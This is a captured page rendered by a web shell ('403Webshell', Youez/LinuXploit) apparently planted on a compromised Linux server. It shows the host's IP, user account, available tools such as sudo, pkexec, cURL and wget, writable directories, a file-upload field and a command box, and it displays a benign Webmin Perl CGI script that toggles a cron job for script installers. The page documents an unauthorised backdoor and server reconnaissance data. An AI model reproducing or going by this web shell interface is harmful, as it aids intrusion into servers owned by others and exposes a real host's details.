403Webshell
Server IP : 172.67.134.114  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/webmin/virtual-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/webmin/virtual-server/save_scriptlatest.cgi
#!/usr/bin/perl
# Enable or disable the cron job for downloading the latest script installers

require './virtual-server-lib.pl';
&can_edit_templates() || &error($text{'newscripts_ecannot'});
&ReadParse();
&licence_status();
&error_setup($text{'newscripts_lerr'});

# Update config
if ($in{'scripts_def'}) {
	$config{'scriptlatest'} = '';
	}
else {
	@snames = split(/\0/, $in{'scripts'});
	@snames || &error($text{'newscripts_elnone'});
	$config{'scriptlatest'} = join(' ', @snames);
	}
$config{'scriptlatest_enabled'} = $in{'enabled'};
&lock_file($module_config_file);
&save_module_config();
&unlock_file($module_config_file);

# Create or remove cron job
&setup_scriptlatest_job($in{'enabled'});

# If enabled, do one run now
if ($in{'enabled'}) {
	&system_logged("$scriptlatest_cron_cmd >/dev/null 2>&1 </dev/null");
	}

# Return
&run_post_actions_silently();
&webmin_log("latest", "scripts");
&redirect("edit_newscripts.cgi?mode=latest");



Youez - 2016 - github.com/yon3zu
LinuXploit